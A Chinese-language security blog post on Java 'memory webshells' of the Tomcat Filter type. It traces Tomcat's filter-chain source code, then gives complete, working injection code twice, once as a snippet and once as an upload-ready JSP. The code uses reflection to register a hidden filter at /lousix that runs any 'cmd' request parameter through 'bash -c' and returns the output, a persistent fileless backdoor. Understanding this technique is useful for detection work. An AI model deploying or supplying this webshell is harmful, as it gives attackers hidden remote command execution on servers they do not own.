Java 内存马(一)——Filter

0x01 前言

Java 内存马分类

  • Servlet-Api类
    • Filter型
    • Servlet型
  • SpringBoot
    • 拦截器
    • Controller
  • Java Instrumentation类
    • agent

0x02 JavaWeb搭建

创建javaweb项目,添加一个Filter

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "Test")
public class Test implements Filter {
public void init(FilterConfig config) throws ServletException {
System.out.println("===========" + "Filter Init" + "===========");
}

public void destroy() {
System.out.println("===========" + "Filetr destroy" + "===========");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
System.out.println("++++++++++" + "Filter doing" + "++++++++++" );
chain.doFilter(request, response);
}
}

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>Test</filter-name>
<filter-class>Test</filter-class>
</filter>
<filter-mapping>
<filter-name>Test</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

添加maven

Untitled

pom.xml添加依赖

1
2
3
4
5
6
7
8
9
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.58</version>
<scope>provided</scope>
</dependency>
</dependencies>

问题

idea2020之后不能直接创建javaWeb,参考链接

不能快捷创建servlet和filter,从maven中下载jar包,导入项目即可

https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api/4.0.1

0x03 Tomcat相关

Servlet

Untitled

  • TomcatServer:Servlet 的顶层容器,包含一个或多个 Host 子容器;
  • Host:虚拟主机,负责 Web 应用的部署和 Context 的创建;
  • Context:Web 应用上下文,包含多个Wrapper,负责 Web 配置的解析、管理所有 Web 资源;
  • Wrapper:最底层的容器,是对 Servlet 的封装,负责 Servlet 实例的创建、执行和销毁。

ServletContext

获取途径

ServletConfig#getServletContext()

getServletConfig().getServletContext()

GenericServlet#getServletContext()

其中GenericServletHttpServlet 所继承

功能

tomcat为每个web项目都创建一个ServletContext实例,tomcat在启动时创建,服务器关闭时销毁,在一个web项目中共享数据,管理web项目资源,为整个web配置公共信息等,通俗点讲,就是一个web项目,就存在一个ServletContext实例,每个Servlet读可以访问到它。

上面讲到的Context为ApplicationContextStandardContext

0x04 Filter源码分析

调用链

TestdoFilter处设置断点,开启debug,得到调用链,一部分如下图所示

Untitled

Filter调用过程

ApplicationFilterChain

我们根据调用链反着来看

TestdoFilter方法是在ApplicationFilterChain中调用的

Untitled

此处的filter 来自于ApplicationFilterChain类中定义的filters数组

Untitled

根据ApplicationFilterChain 类的定义,我们可以发现filters实际上为一个空的数组。

Untitled

那么我们在ApplicationFilterChain 中查找与filters相关操作——addFilter 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void addFilter(ApplicationFilterConfig filterConfig) {
ApplicationFilterConfig[] newFilters = this.filters;
int var3 = newFilters.length;

for(int var4 = 0; var4 < var3; ++var4) {
ApplicationFilterConfig filter = newFilters[var4];
if (filter == filterConfig) {
return;
}
}

if (this.n == this.filters.length) {
newFilters = new ApplicationFilterConfig[this.n + 10];
System.arraycopy(this.filters, 0, newFilters, 0, this.n);
this.filters = newFilters;
}

this.filters[this.n++] = filterConfig;
}

StandardWrapperValve

接下来,看到StandardWrapperValve 类的invoke 方法,可以发现此处实例化了一个ApplicationFilterChain

Untitled

ApplicationFilterFactory

跟进createFilterChain 方法,可以找到两处调用addFilter 方法的代码

Untitled

Untitled

这两处代码主要是利用matchFiltersURL 方法对web.xml进行解析,判断web.xml中的内容是否正确,符合配置要求,对于符合配置的添加到filterChain

Filter载入方法

filterDefsfilterMapsfilterConfig 都是由调用StandardContext 中的方法产生的

Untitled

Untitled

Untitled

最后通过StandardContextaddFilterDefaddFilterMapfilterStart加载到filterchain中调用

0x05 Filter内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
String name = "Lousix";
String urlPattern = "/lousix";

try{
ServletContext servletContext = request.getServletContext();
// ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes, 0, len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(urlPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

filterConfigs.put(name,filterConfig);
}
}catch(Exception e){
e.printStackTrace();
}
out.print("Inject Success !");

文件上传jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
String name = "Lousix";
String urlPattern = "/lousix";

try{
ServletContext servletContext = request.getServletContext();
// ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes, 0, len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(urlPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

filterConfigs.put(name,filterConfig);
}
}catch(Exception e){
e.printStackTrace();
}
out.print("Inject Success !");
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>

参考

https://xz.aliyun.com/t/10362

https://www.cnblogs.com/whgk/p/6399262.html

https://cloud.tencent.com/developer/article/1894003

http://wjlshare.com/archives/1529


Java 内存马(一)——Filter
http://blog.lousix.top/2023/03/31/Java 内存马(一)——Filter/
作者
Lousix
发布于
2023年3月31日
许可协议